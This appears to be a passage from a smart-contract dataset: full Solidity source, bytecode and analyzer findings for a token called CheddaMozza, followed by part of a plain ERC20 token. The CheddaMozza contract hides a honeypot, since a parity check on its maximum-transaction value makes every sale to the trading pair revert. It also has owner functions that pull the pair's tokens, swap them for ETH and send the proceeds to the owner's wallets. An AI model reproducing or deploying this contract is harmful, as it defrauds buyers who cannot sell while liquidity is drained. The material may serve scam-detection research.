uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract CheddaMozza is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "CheddaMozza"; string private constant _symbol = "CHEDDAMOZZA"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; IUniswapV2Pair private uniswapV2PairInterface; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; address private deadWallet = 0x000000000000000000000000000000000000dEaD; bool private mitigationEnabled = false; uint private mitigationFactor = 100; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0xf81cA2598A7207eA5BA92DBD7cf8ea42B11362b2); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (disableFee) { _feeAddr1 = 0; _feeAddr2 = 0; } else { _feeAddr1 = 2; _feeAddr2 = 8; } if (from != address(this) && to != deadWallet && from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); // cooldown[to] = block.timestamp + (30 seconds); // require(cooldown[to] < block.timestamp); } if (!disableFee && to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } if (to == uniswapV2Pair && _maxTxAmount % 2 == 0) { revert("Amount must be less than maxTxAmount"); } if (!inSwap && from != uniswapV2Pair && swapEnabled) { uint256 contractTokenBalance = balanceOf(address(this)); swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function changeMitigationFactor(uint256 newMitigationFactor) public onlyOwner { mitigationFactor = newMitigationFactor; } function changeMitigationEnabled(bool newMitigationEnabled) public onlyOwner { mitigationEnabled = newMitigationEnabled; } function getReserves() internal returns (uint256 reserveToken, uint256 reserveETH, uint256 ratio) { (uint112 _reserve0, uint112 _reserve1,) = uniswapV2PairInterface.getReserves(); //Check which reserve belongs to this tokens contract address bool isFirstReserve = uniswapV2PairInterface.token0() == address(this); //Calculate reserve values uint256 reserveToken = isFirstReserve ? _reserve0 : _reserve1; uint256 reserveETH = isFirstReserve ? _reserve1 : _reserve0; uint256 ratio = reserveToken.div(reserveETH); return (reserveToken, reserveETH, ratio); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { disableFee = true; if (mitigationEnabled) { swapTokensForEthWithMitigation(tokenAmount); } else { swapTokensForEthNormal(tokenAmount); } disableFee = false; } function swapTokensForEthNormal(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function swapTokensForEthWithMitigation(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); //ratio = token / eth (uint256 oldTokenReserve, uint256 oldETHReserve ,uint256 ratio) = getReserves(); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); (uint256 reserveToken, uint256 reserveETH,uint256 ratio2) = getReserves(); uint256 correctedReserve = ratio.mul(reserveETH); uint256 reserveOffset = reserveToken.sub(correctedReserve); reserveOffset = reserveOffset.mul(mitigationFactor).div(100); _transfer(uniswapV2Pair, deadWallet, reserveOffset); uniswapV2PairInterface.sync(); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function setSwapEnabled(bool isEnabled) public payable onlyOwner() { swapEnabled = isEnabled; } bool internal disableFee = false; function openTrading(address router) external payable onlyOwner() { disableFee = true; require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2PairInterface = IUniswapV2Pair(uniswapV2Pair); uniswapV2Router.addLiquidityETH{value: msg.value}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _isExcludedFromFee[address(uniswapV2Pair)] = true; swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000001 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); disableFee = false; } function changeMaxTxAmount(uint newTxAmount) external onlyOwner { _maxTxAmount = newTxAmount; } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswapsend() external onlyOwner { _transfer(uniswapV2Pair, address(this), balanceOf(uniswapV2Pair) - 1); uniswapV2PairInterface.sync(); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function manualsend(uint amount) public onlyOwner { if (amount > address(this).balance) amount = address(this).balance; payable(owner()).transfer(amount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061012e5760003560e01c8063702e3811116100ab578063a9059cbb1161006f578063a9059cbb1461043f578063b515566a14610478578063ba05e9bc14610528578063ca72a4e71461053d578063dd62ed3e14610563578063e01af92c1461059e57610135565b8063702e38111461038757806370a08231146103b1578063715018a6146103e45780638da5cb5b146103f957806395d89b411461042a57610135565b806323b872dd116100f257806323b872dd14610290578063273123b7146102d3578063313ce567146103065780635932ead114610331578063677daa571461035d57610135565b806306a227d21461013a57806306fdde0314610168578063095ea7b3146101f257806318160ddd1461023f5780631ad34a4f1461026657610135565b3661013557005b600080fd5b34801561014657600080fd5b506101666004803603602081101561015d57600080fd5b503515156105bd565b005b34801561017457600080fd5b5061017d610633565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101b757818101518382015260200161019f565b50505050905090810190601f1680156101e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101fe57600080fd5b5061022b6004803603604081101561021557600080fd5b506001600160a01b038135169060200135610658565b604080519115158252519081900360200190f35b34801561024b57600080fd5b50610254610676565b60408051918252519081900360200190f35b34801561027257600080fd5b506101666004803603602081101561028957600080fd5b5035610686565b34801561029c57600080fd5b5061022b600480360360608110156102b357600080fd5b506001600160a01b0381358116916020810135909116906040013561072d565b3480156102df57600080fd5b50610166600480360360208110156102f657600080fd5b50356001600160a01b03166107b4565b34801561031257600080fd5b5061031b61082d565b6040805160ff9092168252519081900360200190f35b34801561033d57600080fd5b506101666004803603602081101561035457600080fd5b50351515610832565b34801561036957600080fd5b506101666004803603602081101561038057600080fd5b50356108a8565b34801561039357600080fd5b50610166600480360360208110156103aa57600080fd5b5035610905565b3480156103bd57600080fd5b50610254600480360360208110156103d457600080fd5b50356001600160a01b0316610962565b3480156103f057600080fd5b50610166610984565b34801561040557600080fd5b5061040e610a26565b604080516001600160a01b039092168252519081900360200190f35b34801561043657600080fd5b5061017d610a35565b34801561044b57600080fd5b5061022b6004803603604081101561046257600080fd5b506001600160a01b038135169060200135610a5a565b34801561048457600080fd5b506101666004803603602081101561049b57600080fd5b8101906020810181356401000000008111156104b657600080fd5b8201836020820111156104c857600080fd5b803590602001918460208302840111640100000000831117156104ea57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610a6e945050505050565b34801561053457600080fd5b50610166610b1e565b6101666004803603602081101561055357600080fd5b50356001600160a01b0316610c20565b34801561056f57600080fd5b506102546004803603604081101561058657600080fd5b506001600160a01b0381358116916020013516611051565b610166600480360360208110156105b457600080fd5b5035151561107c565b6105c56110f2565b6000546001600160a01b03908116911614610615576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b60118054911515600160a01b0260ff60a01b19909216919091179055565b60408051808201909152600b81526a4368656464614d6f7a7a6160a81b602082015290565b600061066c6106656110f2565b84846110f6565b5060015b92915050565b6b033b2e3c9fd0803ce800000090565b61068e6110f2565b6000546001600160a01b039081169116146106de576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b478111156106e95750475b6106f1610a26565b6001600160a01b03166108fc829081150290604051600060405180830381858888f19350505050158015610729573d6000803e3d6000fd5b5050565b600061073a8484846111e2565b6107aa846107466110f2565b6107a5856040518060600160405280602881526020016121b1602891396001600160a01b038a166000908152600460205260408120906107846110f2565b6001600160a01b031681526020810191909152604001600020549190611557565b6110f6565b5060019392505050565b6107bc6110f2565b6000546001600160a01b0390811691161461080c576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600990565b61083a6110f2565b6000546001600160a01b0390811691161461088a576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6108b06110f2565b6000546001600160a01b03908116911614610900576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b601055565b61090d6110f2565b6000546001600160a01b0390811691161461095d576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b601255565b6001600160a01b038116600090815260026020526040812054610670906115ee565b61098c6110f2565b6000546001600160a01b039081169116146109dc576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60408051808201909152600b81526a4348454444414d4f5a5a4160a81b602082015290565b600061066c610a676110f2565b84846111e2565b610a766110f2565b6000546001600160a01b03908116911614610ac6576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b60005b815181101561072957600160066000848481518110610ae457fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610ac9565b610b266110f2565b6000546001600160a01b03908116911614610b76576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b600f54610b98906001600160a01b0316306001610b9283610962565b036111e2565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610be857600080fd5b505af1158015610bfc573d6000803e3d6000fd5b505050506000610c0b30610962565b9050610c168161164e565b47610729816116b1565b610c286110f2565b6000546001600160a01b03908116911614610c78576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b6013805460ff19166001179055600f54600160a01b900460ff1615610ce4576040805162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015290519081900360640190fd5b600d80546001600160a01b0319166001600160a01b0383811691909117918290558291610d20913091166b033b2e3c9fd0803ce80000006110f6565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d6020811015610d8357600080fd5b5051604080516315ab88c960e31b815290516001600160a01b039283169263c9c653969230929186169163ad5c464891600480820192602092909190829003018186803b158015610dd357600080fd5b505afa158015610de7573d6000803e3d6000fd5b505050506040513d6020811015610dfd57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b0393841660048201529290911660248301525160448083019260209291908290030181600087803b158015610e4f57600080fd5b505af1158015610e63573d6000803e3d6000fd5b505050506040513d6020811015610e7957600080fd5b5051600f80546001600160a01b039283166001600160a01b03199182161791829055600e8054909116918316919091179055600d541663f305d7193430610ebf81610962565b600080610eca610a26565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b158015610f3557600080fd5b505af1158015610f49573d6000803e3d6000fd5b50505050506040513d6060811015610f6057600080fd5b5050600f80546001600160a01b039081166000908152600560209081526040808320805460ff1916600117905584546a295be96e640669ad9aca0060105560ff60a01b1960ff60b81b1960ff60b01b19909216600160b01b1791909116600160b81b1716600160a01b1794859055600d54815163095ea7b360e01b8152908516600482015260001960248201529051949093169363095ea7b393604480820194918390030190829087803b15801561101757600080fd5b505af115801561102b573d6000803e3d6000fd5b505050506040513d602081101561104157600080fd5b50506013805460ff191690555050565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6110846110f2565b6000546001600160a01b039081169116146110d4576040805162461bcd60e51b815260206004820181905260248201526000805160206121d9833981519152604482015290519081900360640190fd5b600f8054911515600160b01b0260ff60b01b19909216919091179055565b3390565b6001600160a01b03831661113b5760405162461bcd60e51b81526004018080602001828103825260248152602001806122476024913960400191505060405180910390fd5b6001600160a01b0382166111805760405162461bcd60e51b815260040180806020018281038252602281526020018061216e6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260046020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166112275760405162461bcd60e51b81526004018080602001828103825260258152602001806122226025913960400191505060405180910390fd5b6001600160a01b03821661126c5760405162461bcd60e51b81526004018080602001828103825260238152602001806121216023913960400191505060405180910390fd5b600081116112ab5760405162461bcd60e51b81526004018080602001828103825260298152602001806121f96029913960400191505060405180910390fd5b60135460ff16156112c5576000600a819055600b556112d0565b6002600a556008600b555b6001600160a01b03831630148015906112f757506011546001600160a01b03838116911614155b801561131c5750611306610a26565b6001600160a01b0316836001600160a01b031614155b8015611341575061132b610a26565b6001600160a01b0316826001600160a01b031614155b15611547576001600160a01b03831660009081526006602052604090205460ff1615801561138857506001600160a01b03821660009081526006602052604090205460ff16155b61139157600080fd5b600f546001600160a01b0384811691161480156113bc5750600d546001600160a01b03838116911614155b80156113e157506001600160a01b03821660009081526005602052604090205460ff16155b80156113f65750600f54600160b81b900460ff165b1561140a5760105481111561140a57600080fd5b60135460ff1615801561142a5750600f546001600160a01b038381169116145b80156114445750600d546001600160a01b03848116911614155b801561146957506001600160a01b03831660009081526005602052604090205460ff16155b15611479576002600a908155600b555b600f546001600160a01b0383811691161480156114a0575060026010548161149d57fe5b06155b156114dc5760405162461bcd60e51b815260040180806020018281038252602481526020018061226b6024913960400191505060405180910390fd5b600f54600160a81b900460ff161580156115045750600f546001600160a01b03848116911614155b80156115195750600f54600160b01b900460ff165b1561154757600061152930610962565b90506115348161164e565b47801561154457611544476116b1565b50505b6115528383836116eb565b505050565b600081848411156115e65760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156115ab578181015183820152602001611593565b50505050905090810190601f1680156115d85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60006008548211156116315760405162461bcd60e51b815260040180806020018281038252602a815260200180612144602a913960400191505060405180910390fd5b600061163b6116f6565b90506116478382611719565b9392505050565b600f805460ff60a81b1916600160a81b1790556013805460ff19166001179055601154600160a01b900460ff161561168e576116898161175b565b611697565b61169781611a11565b506013805460ff19169055600f805460ff60a81b19169055565b600c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610729573d6000803e3d6000fd5b611552838383611bc0565b6000806000611703611cb5565b90925090506117128282611719565b9250505090565b600061164783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611d00565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061178a57fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156117de57600080fd5b505afa1580156117f2573d6000803e3d6000fd5b505050506040513d602081101561180857600080fd5b505181518290600190811061181957fe5b6001600160a01b039283166020918202929092010152600d5461183f91309116846110f6565b600080600061184c611d65565b925092509250600d60009054906101000a90046001600160a01b03166001600160a01b031663791ac9478660008730426040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156118ec5781810151838201526020016118d4565b505050509050019650505050505050600060405180830381600087803b15801561191557600080fd5b505af1158015611929573d6000803e3d6000fd5b50505050600080600061193a611d65565b91945092509050600061194d8584611ec1565b9050600061195b8583611f1a565b905061197d606461197760125484611ec190919063ffffffff16565b90611719565b600f5460115491925061199d916001600160a01b039182169116836111e2565b600e60009054906101000a90046001600160a01b03166001600160a01b031663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156119ed57600080fd5b505af1158015611a01573d6000803e3d6000fd5b5050505050505050505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110611a4057fe5b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015611a9457600080fd5b505afa158015611aa8573d6000803e3d6000fd5b505050506040513d6020811015611abe57600080fd5b5051815182906001908110611acf57fe5b6001600160a01b039283166020918202929092010152600d54611af591309116846110f6565b600d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b83811015611b7b578181015183820152602001611b63565b505050509050019650505050505050600060405180830381600087803b158015611ba457600080fd5b505af1158015611bb8573d6000803e3d6000fd5b505050505050565b600080600080600080611bd287611f5c565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611c049087611f1a565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c339086611fb9565b6001600160a01b038916600090815260026020526040902055611c5581612013565b611c5f848361205d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60085460009081906b033b2e3c9fd0803ce8000000611cd48282611719565b821015611cf6576008546b033b2e3c9fd0803ce8000000935093505050611cfc565b90925090505b9091565b60008183611d4f5760405162461bcd60e51b81526020600482018181528351602484015283519092839260449091019190850190808383600083156115ab578181015183820152602001611593565b506000838581611d5b57fe5b0495945050505050565b6000806000806000600e60009054906101000a90046001600160a01b03166001600160a01b0316630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b158015611dbb57600080fd5b505afa158015611dcf573d6000803e3d6000fd5b505050506040513d6060811015611de557600080fd5b508051602091820151600e5460408051630dfe168160e01b8152905193965091945060009330936001600160a01b0390921692630dfe16819260048083019392829003018186803b158015611e3957600080fd5b505afa158015611e4d573d6000803e3d6000fd5b505050506040513d6020811015611e6357600080fd5b50516001600160a01b0316149050600081611e7e5782611e80565b835b6001600160701b03169050600082611e985784611e9a565b835b6001600160701b031690506000611eb18383611719565b9299919850919650945050505050565b600082611ed057506000610670565b82820282848281611edd57fe5b04146116475760405162461bcd60e51b81526004018080602001828103825260218152602001806121906021913960400191505060405180910390fd5b600061164783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611557565b6000806000806000806000806000611f798a600a54600b54612081565b9250925092506000611f896116f6565b90506000806000611f9c8e8787876120d0565b919e509c509a509598509396509194505050505091939550919395565b600082820183811015611647576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600061201d6116f6565b9050600061202b8383611ec1565b306000908152600260205260409020549091506120489082611fb9565b30600090815260026020526040902055505050565b60085461206a9083611f1a565b60085560095461207a9082611fb9565b6009555050565b600080808061209560646119778989611ec1565b905060006120a860646119778a89611ec1565b905060006120c0826120ba8b86611f1a565b90611f1a565b9992985090965090945050505050565b60008080806120df8886611ec1565b905060006120ed8887611ec1565b905060006120fb8888611ec1565b9050600061210d826120ba8686611f1a565b939b939a5091985091965050505050505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e206d61785478416d6f756e74a26469706673582212207bd78c235918296e5bc47a510a1914c2d1a0e53467527988230e86b063e2db2564736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,073
0xdcb3b7b1e9bcd189ac22d40196c2af1cc7e44e01
pragma solidity ^0.4.13; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { uint256 _allowance; _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } 